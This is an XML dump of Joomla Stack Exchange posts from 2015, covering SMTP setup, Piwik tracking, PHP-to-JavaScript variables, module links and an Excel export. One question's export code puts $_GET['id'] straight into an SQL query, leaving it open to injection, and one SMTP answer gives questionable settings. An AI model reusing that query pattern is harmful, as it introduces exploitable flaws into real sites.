  <row Id="8671" PostTypeId="2" ParentId="8665" CreationDate="2015-02-18T03:45:39.307" Score="1" Body="&lt;p&gt;The Joomla update is always good for your website, But before doing that you have to make sure all your components,modules,plugins and templates are compatible for your target version otherwise you will end with joomla fresh install and your basic data (Means menus,pages,blogs etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had also faced a challenge in &lt;a href=&quot;http://www.walkswithme.net/upgrade-joomla-2-5-x-joomla-3-3-x&quot; rel=&quot;nofollow&quot;&gt;joomla update from 2.5.x to Joomla 3.x&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might help full for you too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2015-02-18T03:45:39.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8672" PostTypeId="1" CreationDate="2015-02-18T05:58:46.410" Score="0" ViewCount="388" Body="&lt;p&gt;I have installed piwik in my &lt;code&gt;Joomla&lt;/code&gt; page using nfrPiwik plugin in order to insert the JavaScript code in order to interact my Joomla page with piwik statistics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However where can I find this code? Most specifically file which is the file from &lt;code&gt;Joomla&lt;/code&gt; file which took the JavaScript code from nfrPiwik plugin&lt;/p&gt;&#xA;" OwnerUserId="1641" LastEditorUserId="1641" LastEditDate="2015-02-18T07:03:17.270" LastActivityDate="2015-02-18T15:17:41.297" Title="Where can I find piwik JavaScript code" Tags="|joomla-3.x|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8673" PostTypeId="1" CreationDate="2015-02-18T07:03:43.170" Score="5" ViewCount="13334" Body="&lt;p&gt;I am not able to send email using gmail as SMTP. I have already tried using the following settings in the Joomla backend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SMTP Authentication = &lt;strong&gt;Yes&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;SMTP Security = &lt;strong&gt;SSL&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;SMTP Port = &lt;strong&gt;465&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;SMTP Username = &lt;strong&gt;[respective mail id]&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;SMTP Password = &lt;strong&gt;xxxxxx&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;SMTP Host = &lt;strong&gt;smtp.gmail.com&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have built Koomla site on localhost and I'm trying to send email using &lt;strong&gt;&lt;em&gt;smtp.gmail.com&lt;/em&gt;&lt;/strong&gt;. Though port 465 is enabled still its not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me what the issue might be?&lt;/p&gt;&#xA;" OwnerUserId="3730" LastEditorUserId="126" LastEditDate="2015-08-28T07:05:02.153" LastActivityDate="2016-03-23T18:03:42.713" Title="Smtp connect failed and unable to send email" Tags="|joomla-3.x|emails|smtp|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8674" PostTypeId="1" CreationDate="2015-02-18T07:34:23.853" Score="0" ViewCount="416" Body="&lt;p&gt;I wanted to display all articles tagged under a specific tag, inside an article (not a menu link). I know I can display articles by tag at the menu. But what I wanted is to know if it is possible to display those articles tagged inside another article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: I don't want to display &lt;code&gt;tags&lt;/code&gt;, but I want to display those articles tagged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under menu &lt;code&gt;web design&lt;/code&gt; I have an article displaying a text and a brief explaining what it is, then after it, I would like to display all articles tagged under &lt;code&gt;design&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? Again, I didn't want to assign a menu to display those articles tagged under &lt;code&gt;design&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-04-19T09:49:14.873" Title="Joomla 2.5 display articles by tag. Not in menu link" Tags="|joomla-2.5|articles|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8675" PostTypeId="1" AcceptedAnswerId="8684" CreationDate="2015-02-18T07:57:37.960" Score="5" ViewCount="1005" Body="&lt;p&gt;How do I get access to php variables in Joomlas approach to integrate Javascripts with addScriptDeclaration?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$variable = &quot;test&quot;;&#xA;&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function () {&#xA;        var simple = &quot;&amp;lt;?php echo $variable; ?&amp;gt;&quot;;&#xA;        alert(simple);&#xA;    });&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The classic form of integrating php variables won't work.&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="126" LastEditDate="2015-08-28T07:04:46.470" LastActivityDate="2015-08-28T07:04:46.470" Title="Get access to php variable in Joomlas addscriptdeclaration for Javascript" Tags="|joomla-3.x|php|javascript|variable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8677" PostTypeId="2" ParentId="8663" CreationDate="2015-02-18T08:36:38.177" Score="1" Body="&lt;p&gt;You should create a field element on the fly if the data for that element exists. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($data-&amp;gt;someField) &amp;amp;&amp;amp; !empty($data-&amp;gt;someField))&#xA;{&#xA;    $element = new SimpleXMLElement(&#xA;        '&amp;lt;field &#xA;            name=&quot;someField&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;Label&quot;&#xA;            description=&quot;Description&quot; &#xA;        /&amp;gt;'&#xA;    );&#xA;&#xA;    $form-&amp;gt;setField($element);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can place it in &lt;code&gt;preprocessForm()&lt;/code&gt; method or in &lt;code&gt;getForm()&lt;/code&gt; method of your model.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-18T08:36:38.177" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8678" PostTypeId="2" ParentId="8674" CreationDate="2015-02-18T08:42:24.043" Score="1" Body="&lt;p&gt;You could put the intro into a custom HTML module in position above the content and then do the normal component menu thing or you could use something like &lt;a href=&quot;https://www.nonumber.nl/extensions/componentsanywhere#free-vs-pro&quot; rel=&quot;nofollow&quot;&gt;Components anywhere&lt;/a&gt; to embed the content into an article if you really wish. But usually the module and normal menu item is the easiest solution. &lt;strong&gt;IF&lt;/strong&gt; I understood what you want correctly, that is.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-02-18T08:42:24.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8679" PostTypeId="2" ParentId="8654" CreationDate="2015-02-18T09:36:23.037" Score="0" Body="&lt;p&gt;Your web server must also be configured to allow this. If it doesn't have mod_deflate installed then no matter how many times you ask it to gzip the output, it isn't going to.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-02-18T09:36:23.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8680" PostTypeId="2" ParentId="8672" CreationDate="2015-02-18T09:43:42.013" Score="1" Body="&lt;p&gt;The files for the plugin are located in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/plugins/system/piwik&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following file is the one that displays the parameter allowing you to add your tracking code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/plugins/system/piwik/piwik.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it &lt;strong&gt;does not&lt;/strong&gt; store your tracking code. This is done in the database&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-18T09:43:42.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8681" PostTypeId="1" AcceptedAnswerId="8682" CreationDate="2015-02-18T10:29:07.183" Score="0" ViewCount="956" Body="&lt;p&gt;I've created a very simple slideshow module. I have a &lt;strong&gt;helper.php&lt;/strong&gt; that gives me all articles of a given category. My problem is that i don't know how to create the &lt;em&gt;readmore link&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what i have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getSildes() {&#xA;    // return var having the complete carousel stuff&#xA;    $slide = &quot;&quot;; &#xA;    // a counter for bootstrap active flag&#xA;    $counter = 0;&#xA;&#xA;    // my database connection&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // i need the cat_id of category named &quot;Bootyslide&quot;&#xA;    $module = JModuleHelper::getModule('mod_bootyslide');&#xA;    $category = new JRegistry($module-&amp;gt;params);&#xA;    $cat_id = (int) $category['mycategory'];&#xA;&#xA;    // and now i select all the articles with the category id&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*');&#xA;    $query-&amp;gt;from('#__content');&#xA;    $query-&amp;gt;where('catid=&quot;' . $cat_id . '&quot;');&#xA;    $query-&amp;gt;where('state=&quot;1&quot;');&#xA;    $db-&amp;gt;setQuery((string)$query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;&#xA;    foreach($results as $result){&#xA;        $images  = json_decode($result-&amp;gt;images);&#xA;        $image = $images-&amp;gt;image_fulltext;&#xA;        $text = $result-&amp;gt;introtext;&#xA;        $alias = $result-&amp;gt;alias;&#xA;        $fulltext = $result-&amp;gt;fulltext;&#xA;        ($counter == 0) ? $active = &quot;active&quot; : $active = &quot;&quot;;&#xA;        $slide .= &quot; &amp;lt;div class=\&quot;item &quot; . $active . &quot;\&quot;&amp;gt;&quot;;&#xA;&#xA;        if (strlen($image) &amp;gt; 0) {&#xA;            $slide .= &quot;     &amp;lt;img src=\&quot;&quot; . $image . &quot;\&quot;&amp;gt;&quot;;&#xA;        }&#xA;        $slide .= &quot; &amp;lt;div class=\&quot;carousel-caption\&quot;&amp;gt;&#xA;                        &amp;lt;div class=\&quot;container\&quot;&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &quot; . $text . &quot;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;!-- the readmore link --&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt; &quot;;&#xA;        ++$counter;&#xA;    }&#xA;&#xA;    return $slide;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that when the column fulltext has values, I should create the readmore link, that's not the problem. I really don't know how to create the URL.&lt;/p&gt;&#xA;" OwnerUserId="3588" LastEditorUserId="126" LastEditDate="2015-08-28T07:04:26.267" LastActivityDate="2015-08-28T07:04:26.267" Title="Create readmore link for custom module" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8682" PostTypeId="2" ParentId="8681" CreationDate="2015-02-18T10:33:47.920" Score="0" Body="&lt;p&gt;&lt;strike&gt;Try the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $result-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason assumed you were using the content model...my bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $link = JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $result-&amp;gt;id);&#xA;    echo '&amp;lt;a href=&quot;' . $link . '&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But just on a side note, I would suggest you put all your HTML in the &lt;strong&gt;default.php&lt;/strong&gt; as this file is supposed to be used for all your markup, allowing users to create Template Overrides.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-18T12:14:09.617" LastActivityDate="2015-02-18T12:14:09.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8684" PostTypeId="2" ParentId="8675" CreationDate="2015-02-18T11:44:54.977" Score="7" Body="&lt;p&gt;Instantly see the issue here.&#xA;What you basically doing is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;    $var = 'foo';&#xA;    &amp;lt;?php echo $foo; ?&amp;gt;    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're using duplicate &lt;code&gt;&amp;lt;?php&lt;/code&gt; tags which will cause issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the following instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $document = JFactory::getDocument();&#xA;    $variable = &quot;test&quot;;&#xA;&#xA;    $document-&amp;gt;addScriptDeclaration('&#xA;        jQuery(document).ready(function () {&#xA;            var simple = &quot;' . $variable . '&quot;;&#xA;            alert(simple);&#xA;        });&#xA;    ');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You were also missing a closing single quote before the last bracket in your code which I've added for you.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-18T12:59:49.837" LastActivityDate="2015-02-18T12:59:49.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8685" PostTypeId="2" ParentId="8675" CreationDate="2015-02-18T12:13:35.187" Score="-2" Body="&lt;p&gt;This is how you can get access to php variable inside javascript. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$variable = &quot;test&quot;;&#xA;&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function () {&#xA;        var simple =&amp;lt;?php echo json_encode($variable); ?&amp;gt;;&#xA;        alert(simple);&#xA;    });&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3470" LastActivityDate="2015-02-18T12:13:35.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8686" PostTypeId="2" ParentId="8673" CreationDate="2015-02-18T12:19:11.857" Score="1" Body="&lt;p&gt;Try these settings :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mailer : SMTP Server&#xA;Mail from : youremail@yourdomain ( Write your e-mail here )&#xA;From Name : My Name ( Write a normal name here )&#xA;Sendmail Path : leave it by default &#xA;SMTP Authentication : No&#xA;SMTP Security : None&#xA;SMTP Port : 25&#xA;SMTP Username : youremail@yourdmain ( Your Full e-mail address )&#xA;SMTP Password : YourEmailPassword&#xA;SMTP Host : gmail-smtp-in.l.google.com &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure to Enable the ( Authentication - GMail ) plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to your Admin Area,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions --&gt; Plugin Manager --&gt; Authentication - GMail&lt;/p&gt;&#xA;" OwnerUserId="3470" LastActivityDate="2015-02-18T12:19:11.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8687" PostTypeId="2" ParentId="7591" CreationDate="2015-02-18T12:35:01.710" Score="3" Body="&lt;p&gt;Alternatively you can change your default editor to &quot;none&quot;.&#xA;This will give you a raw HTML format for every text you type, so tags will stay where you want them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Users -&amp;gt; *your user name* -&amp;gt; Basic settings -&amp;gt; Editor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are not that experienced with pure HTML, stay with the solution from Lodder.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2015-02-18T12:35:01.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8689" PostTypeId="2" ParentId="8672" CreationDate="2015-02-18T15:17:41.297" Score="1" Body="&lt;p&gt;The plugin you mention (nfrPiwik) simply places any code you add to the plugin settings right before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag on your website. I'm not sure what code you're looking for, your question is a little unclear, but here's how to add your tracking code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Locate your tracking code. It looks like this, and the Piwik website has a &lt;a href=&quot;http://developer.piwik.org/guides/tracking-javascript-guide&quot; rel=&quot;nofollow&quot;&gt;guide explaining the code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Piwik --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var _paq = _paq || [];&#xA;(function(){ var u=((&quot;https:&quot; == document.location.protocol) ? &quot;https://{$PIWIK_URL}/&quot; : &quot;http://{$PIWIK_URL}/&quot;);&#xA;_paq.push(['setSiteId', {$IDSITE}]);&#xA;_paq.push(['setTrackerUrl', u+'piwik.php']);&#xA;_paq.push(['trackPageView']);&#xA;_paq.push(['enableLinkTracking']);&#xA;var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.type='text/javascript'; g.defer=true; g.async=true; g.src=u+'piwik.js';&#xA;s.parentNode.insertBefore(g,s); })();&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- End Piwik Code --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your tracking code, {$PIWIK_URL} would be replaced by your Piwik URL and {$IDSITE} would be replaced by the idsite of the website you are tracking in Piwik.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Locate then nfrPiwik plugin in your plugin manager (&lt;strong&gt;Extensions&lt;/strong&gt; - &lt;strong&gt;Plugin Manager&lt;/strong&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste your tracking code in the text field in the plugin settings, make sure the plugin is enabled, and save.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-18T15:17:41.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8691" PostTypeId="2" ParentId="7408" CreationDate="2015-02-18T16:20:58.730" Score="2" Body="&lt;p&gt;GJC's plugin does the job. But this is using Joomla 2.5 and VM3. Still looking for an answer for 1.5, but might end up taking all sites to later Joomlas/VMs anyway.  - &lt;a href=&quot;http://www.gjcwebdesign.com/joomla-downloads/virtuemart-20-postcode-zip-code-shipping-plugin.html&quot; rel=&quot;nofollow&quot;&gt;http://www.gjcwebdesign.com/joomla-downloads/virtuemart-20-postcode-zip-code-shipping-plugin.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-18T16:20:58.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8693" PostTypeId="2" ParentId="7607" CreationDate="2015-02-18T19:26:01.990" Score="2" Body="&lt;p&gt;I just did it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code comes to the file &lt;code&gt;latest_item.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (isset($this-&amp;gt;item-&amp;gt;extra_fields)) : ?&amp;gt;&#xA;  &amp;lt;div class=&quot;catItemExtraFields&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php if (is_string($this-&amp;gt;item-&amp;gt;extra_fields)) {&#xA;        $this-&amp;gt;item-&amp;gt;extra_fields = json_decode($this-&amp;gt;item-&amp;gt;extra_fields);&#xA;      }&#xA;      foreach ($this-&amp;gt;item-&amp;gt;extra_fields as $key=&amp;gt;$extraField) {&#xA;        if ($extraField-&amp;gt;value != '') {&#xA;          echo &quot;&amp;lt;li&amp;gt;&quot;.$extraField-&amp;gt;name.&quot;: &quot;.$extraField-&amp;gt;value.&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;      }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do some more checking for existing members and so on.&lt;/p&gt;&#xA;" OwnerUserId="3605" LastEditorUserId="3605" LastEditDate="2015-02-18T19:33:45.180" LastActivityDate="2015-02-18T19:33:45.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8695" PostTypeId="1" CreationDate="2015-02-19T08:56:59.847" Score="0" ViewCount="273" Body="&lt;p&gt;I am having below href , unable to call test function in scholarship(component) controller,this href redirects to same page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://192.168.1.9/joomla2/administrator/index.php?option=com_scholarships&amp;amp;task=scholarships/test&quot; rel=&quot;nofollow&quot;&gt;http://192.168.1.9/joomla2/administrator/index.php?option=com_scholarships&amp;amp;task=scholarships/test&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3713" LastActivityDate="2015-04-20T22:04:17.953" Title="Joomla - href to component controller in admin" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8696" PostTypeId="1" AcceptedAnswerId="8740" CreationDate="2015-02-19T09:18:45.477" Score="1" ViewCount="394" Body="&lt;p&gt;In Joomla 2.5, you have a program called CSV Improved, you can import/export products from virtuemart and also, edit for example the price of 500 products quickly. You don't have to change the price of each product one by one...&#xA;So, my answer is if in Joomla 3.2.7, is there any program that supports Virtuemart, for working quickly and easily with a database.&#xA;- Change features of many products&#xA;- Import / Export products&#xA;- Etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&#xA;P.D.: If I do it manually, it will take me many time... Prices of my online shop are changing &quot;constantly&quot;...&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-09-25T12:15:16.553" Title="Is there any way to edit products' features massively?" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8697" PostTypeId="1" AcceptedAnswerId="8698" CreationDate="2015-02-19T10:36:02.747" Score="0" ViewCount="435" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlstf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;strong&gt;Excel sheet shows admin template . how to exclude admin template in excel sheet ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function export($filename = 'export.xlsx') {&#xA;&#xA;    $sch_id = $_GET['id'];&#xA;&#xA;    ob_end_clean();&#xA;    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xA;    header('Accept-Ranges: bytes');&#xA;    header('Content-Disposition: attachment; filename=' . basename($filename) . ';');&#xA;    header('Content-Type: text/plain; ' . _ISO);&#xA;    header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');&#xA;    header('Pragma: no-cache');&#xA;&#xA;    $sql_query = 'SELECT &#xA;                        cat.title,sch.*&#xA;                    FROM&#xA;                        jbt7r_scholarships_ AS sch&#xA;                    LEFT JOIN&#xA;                        jbt7r_categories AS cat ON cat.id = sch.category&#xA;                    WHERE&#xA;                        sch.id = ' . $sch_id;&#xA;    $database = &amp;amp; JFactory::getDBO();&#xA;    $csv_save = '';&#xA;    $database-&amp;gt;setQuery($sql_query);&#xA;    $rows = @$database-&amp;gt;loadAssocList();&#xA;&#xA;&#xA;&#xA;    $table = '';&#xA;    $table .='&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Scholarship Name&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Expire Date&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Category Name&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Description&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;&#xA;    foreach ($rows as $row) {&#xA;        $table .= &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;        $table .= &quot;&amp;lt;td&amp;gt;&quot; . $row['name'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;        $table .= &quot;&amp;lt;td&amp;gt;&quot; . $row['expiredate'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;        $table .= &quot;&amp;lt;td&amp;gt;&quot; . $row['title'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;        $table .= &quot;&amp;lt;td&amp;gt;&quot; . $row['description'] . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;        $table .= &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    $table .= '&amp;lt;/table&amp;gt;';&#xA;    echo $table;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3713" LastEditorUserId="12352" LastEditDate="2019-03-06T22:32:57.760" LastActivityDate="2019-03-06T22:32:57.760" Title="Export function in component controller" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="15" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8698" PostTypeId="2" ParentId="8697" CreationDate="2015-02-19T10:50:03.963" Score="1" Body="&lt;p&gt;Closing the app to prevent it from default rendering process&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  JFactory::getApplication()-&amp;gt;close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3713" LastEditorUserId="3518" LastEditDate="2015-02-19T14:01:06.063" LastActivityDate="2015-02-19T14:01:06.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8702" PostTypeId="2" ParentId="8695" CreationDate="2015-02-19T12:58:35.467" Score="-1" Body="&lt;p&gt;Joomla mostly works with POST form actions. For instance, task buttons have a tiny JavaScript to submit a POST. Addtionally , most forms also submit a token for security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up, you cannot craft an Url to test a controller. At least, you have to define an action button in the toolbar.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-19T12:58:35.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8705" PostTypeId="2" ParentId="7193" CreationDate="2015-02-19T15:58:08.113" Score="2" Body="&lt;p&gt;As answered by &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3127#issuecomment-75034194&quot; rel=&quot;nofollow&quot;&gt;Joomla Dév Team on Github&lt;/a&gt;, showon is not working on XML files related to user profile, because they don't use a regular JForm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, it seems that showon is not working at all on front-end.&lt;/p&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2015-02-19T15:58:08.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8706" PostTypeId="1" AcceptedAnswerId="8707" CreationDate="2015-02-19T18:25:06.587" Score="5" ViewCount="156" Body="&lt;p&gt;Is there a method to create URL from different parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id=1&#xA;option=view&#xA;task=delete&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?id=1&amp;amp;option=view&amp;amp;task=delete&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3671" LastEditorUserId="168" LastEditDate="2015-02-19T19:31:59.000" LastActivityDate="2015-02-19T19:31:59.000" Title="Compose URL from its parts" Tags="|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8707" PostTypeId="2" ParentId="8706" CreationDate="2015-02-19T18:38:03.637" Score="3" Body="&lt;p&gt;You can use php method &lt;a href=&quot;http://php.net/http_build_query&quot; rel=&quot;nofollow&quot;&gt;http_build_query&lt;/a&gt; to generate url encoded query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Club all the different parameters in an array and pass it to this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url = 'index.php?';&#xA;$parameter = array('id'=&amp;gt;'1',&#xA;              'option'=&amp;gt;'view',&#xA;              'task'=&amp;gt;'delete');&#xA;&#xA;$base_url .= http_build_query($parameter);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-02-19T18:38:03.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
